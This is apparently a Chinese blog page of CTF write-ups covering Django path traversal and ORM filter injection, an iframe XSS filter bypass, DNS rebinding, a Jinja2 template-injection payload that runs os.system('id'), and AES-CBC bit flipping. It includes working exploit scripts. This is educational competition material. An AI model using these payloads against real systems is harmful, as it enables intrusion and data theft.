分类 ctf 下的文章

PWNHUB Web第一题writeup

题目地址 http://54.223.46.206:8003/

首先在HTTP头中可以看到Server:gunicorn/19.6.0 Django/1.10.3 CPython/3.5.2,引用的站内资源只有一个js,然后回想起ph师傅的写过的Python Web安全的文章 http://www.lijiejie.com/python-django-directory-traversal/ ,发现在处理静态文件的时候有一个任意文件读取,但是任何.py结尾的文件都会提示403,其他的不会,考虑读取pyc,看了下自己的Django项目,Python 3.5的pyc都是在一个__pycache__目录中的,然后是xxx.cpython-35.pyc的文件名。

Django是一个MVC框架,默认的主要代码都在models.pyviews.py,成功的得到pyc。然后使用unpyc3 https://github.com/figment/unpyc3 得到了源码。

核心代码如下

class StaticFilesView(generic.View):
    content_type = 'text/plain'

    def get(self, request, *args, **kwargs):
        filename = self.kwargs['path']
        # 任意文件读取就是这里
        filename = os.path.join(settings.BASE_DIR, 'students', 'static', filename)
        (name, ext) = os.path.splitext(filename)
        if ext in ('.py', '.conf', '.sqlite3', '.yml'):
            raise exceptions.PermissionDenied('Permission deny')
        try:
            return HttpResponse(FileWrapper(open(filename, 'rb'), 8192), content_type=self.content_type)
        except BaseException as e:
            raise Http404('Static file not found')

class LoginView(JsonResponseMixin, generic.TemplateView):
    template_name = 'login.html'
    def post(self, request, *args, **kwargs):
        data = json.loads(request.body.decode())
        stu = models.Student.objects.filter(**data).first()
        if not stu or stu.passkey != data['passkey']:
            return self._jsondata('', 403)
        else:
            request.session['is_login'] = True
            return self._jsondata('', 200)

class Student(models.Model):
    name = models.CharField('姓名', max_length=64, unique=True)
    no = models.CharField('学号', max_length=12, unique=True)
    passkey = models.CharField('密码', max_length=32)
    group = models.ForeignKey('Group', verbose_name='所属班级', on_delete=models.CASCADE, null=True, blank=True)


class Group(models.Model):
    name = models.CharField('班级名', max_length=64)
    information = models.TextField('介绍')
    secret = models.CharField('内部信息', max_length=128)
    created_time = models.DateTimeField('创建时间', auto_now_add=True)

可以看到直接将用户发送的数据作为filter的条件传递了,如果用户存在,而data中没有passkey就会造成500,如果用户不存在就会403,所以可以使用Django中的like查询。它的特点就是字段名后面添加两个下划线,接着才是搜索条件,可以作为参数传给filter。

# 精确查询 where name="test"
Student.objects.filter(name="test")

# 按照字符串开头查询 where name="test%"
Student.objects.filter(name__startswith="test")

# 按照字符串包含查询 where name="%test%"
Student.objects.filter(name__contains="test")

其实这里还有个坑,但是后来给ph师傅说了之后还是填上了,防止题目过于难,就是这里Django使用的是sqlite3数据库,而sqlite3的like是不区分大小写的,而数据库里面存的确实是大小写混合的,然而实际上还是有两个解决方案的

  • 爆破,12位密码去除数字,实际组合是2^10左右,也并不大
  • 使用sql中的正则,类似Studdent.objects.filter(name__regex="test"),这样就和区分大小写的contains是一样的了。

当然这个问题并不需要用户的密码,使用相同的方式去获取secret就好了。语句是Student.objects.filter(group__secret__contains="pwnhub")。最终利用的代码是

import requests
import json

import string
d = string.printable

passkey = "pwnhub"

while True:
    for item in d:
        r = requests.post("http://54.223.46.206:8003/login/", data=json.dumps({"group__secret__contains": passkey + item}))
        if r.status_code == 500:
            passkey += item
            print(passkey)
            break
    else:
        exit()

bctf 部分writeup

又是一个和ctf一起度过的疲惫的周末。

QAQ

一个留言板,提交之后可以看到部分内容被过滤了,包括onscriptimg等,最终发现iframe标签没被过滤,而且可以利用的是srcsrcdoc属性,srcdoc使用html实体编码绕过。其中我遇到一个坑,就是开始认为&也被过滤了,而实际上是我没进行url编码,导致burp识别错误。

主办方的机器人一直不太稳定,第二天才真正的开始做这个题,xss探测结果是后台在http://104.199.132.251/4dm1n/show.php,cookies没啥用,页面源码也是只个列表,也没啥用。后来看到提示,说可以探测内网,想起使用webrtc,参考 http://www.wooyun.org/bugs/wooyun-2014-076685

- 阅读剩余部分 -

0ctf部分write up

首先不得不说这场比赛题目水平还是相当相当高的,毕竟是0ops团队。

Monkey

What is Same Origin Policy?

The flag is at http://127.0.0.1:8080/secret After you submitted a url, a monkey will browse the url. The monkey will stay 2 minutes on your page.
Try to find a string \$str so that (substr(md5(\$str), 0, 6) === '54d7ed').

首先这个题要计算md5,每次刷新页面都会变的,其实6位的md5组合并不多,理论上是$16^6$个,所以先计算出一些,保存起来,每次到文件中查找就好了。

import hashlib
for i in xrange(1000000000):
    print i, hashlib.md5(str(i)).hexdigest()

算了一会,觉得差不多了,就停了下来,生成了大约2G的文件。查询md5的时候,就使用cat md5.txt|grep xxxx

然后下面域名随便写了自己的一个域名,查看log确实会有一个访问,UA是Mozilla/5.0 0ctf by md5_salt,但是题目上是要访问127.0.0.1才行。

如果将自己的页面上加入js ajax访问127.0.0.1,会因为同源策略被拦截,访问失败。如果想跨域发送请求,需要对方网站设置Access-Control-Allow-Origin,但是没办法收到响应。

现在唯一能控制的就是自己的域名,能不能让自己的域名在爬虫访问的时候是正常的ip,然后js执行的时候变成127.0.0.1呢,这样域名仍然是不变的既可以跨域了。

后来在提示下找到了DNS Rebinding这个方法,页面加载后使用setTimeout增加js执行时间,然后在这个过程中修改域名解析到127.0.0.1,这个就要求DNS的TTL要尽可能的小,才能尽快的生效,一直在用的CloudXNS可以设置60s的TTL,已经足够了。

- 阅读剩余部分 -

sctf中的两道模板注入

FlagMan

使用GitHub Oauth登录,然后页面上就可以显示你的GitHub头像、用户名、用户id。常见的思路都想过了,发现不行,后来看到登录页面有个隐藏的Powered by Flask,联想起最近的Jinjia2模板注入,应该是在GitHub的真实姓名的位置。

http://blog.knownsec.com/2016/02/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates/ 有一个POC

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{ c.__init__.func_globals['linecache'].__dict__['os'].system('id') }}
{% endif %}
{% endfor %}

原理就是Jinjia2中可以访问空列表,然后[].__class__.__base__objectobject__subclasses__()就是所有继承object的类,依次类推,找到了一个导入了os模块的,然后取出来使用。如果能找到其他模块中导入了os也行,但是没有再去找。

- 阅读剩余部分 -

AES CBC字节翻转攻击的利用

今天看到这样一道题

<!-- please login as uid=1!--> 
<?php 
include("AES.php"); 
highlight_file('index.php');     
$v = "1234567890abcdef1234567890abcdef1234567890abcdef1234567890auid=9;123123123123"; 
$b = array(); 
$enc = @encrypt($v); 
$b = isset($_COOKIE[user])?@decrypt(base64_decode($_COOKIE[user])):$enc; 
$uid = substr($b,strpos($b,"uid")+4,1); 
echo 'uid:'.$uid.'<br/>'; 
if ($uid == 1){ 
        echo $flag; 
} 
else { 
        echo "Hello Client!"; 
} 
setcookie("user",base64_encode($enc)); 
?> 
uid:9
Hello Client!

大致的做法就是控制$b里面包含uid=1,但是因为加密密钥不知道,所以并不能控制,后来发现这个是利用了 CBC 密文分组的一个问题。

CBC 模式的全称是密文分组链接模式(Cipher Block Chainning)。在CBC模式中,首先将明文分组与前一个密文分组进行 xor 运算,然后再进行加密,当加密第一个明文分组时,由于不存在“前一个密文分组”,因此需要事先准备一个长度为一个分组的比特序列来代替“前一个密文分组”,这个比特序列称为初始化向量(Initialization vector),通常缩写为 IV,如果每次都使用相同的初始化向量(IV),当用同一密钥对同一明文进行加密时,所得到的密码一定是相同的,所以每次加密时都会随机产生一个不同的比特序列来作为初始化向量,避免这种情况产生。

见示意图

2015022703012929473.png

这样的话,解密的时候是本组的明文与上一组的密文进行反 xor 操作就可以了,如果我们控制了上一组的密文,那就可以控制本组的明文了。

首先将明文分组

1234567890abcdef
1234567890abcdef
1234567890abcdef
1234567890auid=9
;123123123123

根据之前的算法原理,以第4组为例,设 A = 第四组解密后的值、B = 第三组的密文,则 C = A xor B -> "1234567890auid=9"

这样的话,就可以反推得到 A = B xor C,很容易就写出反向的公式

<?php
$enc = base64_decode("S9PsFp43k9VgyrggRHLbISjUAjwzSSPPajrF9Dzz0o/ieSZbxwGjTJ5xhAZEi5tDBjvwsQtH0BynlLC0p0F0zOZMx25M6iekcLvX//MNKSA=");
$enc[47] = chr(ord($enc[47]) ^ ord("9") ^ ord ("1"));
echo base64_encode($enc);
?>

然后提交就好了

QQ20160109-4.png

参考 http://drops.wooyun.org/tips/7828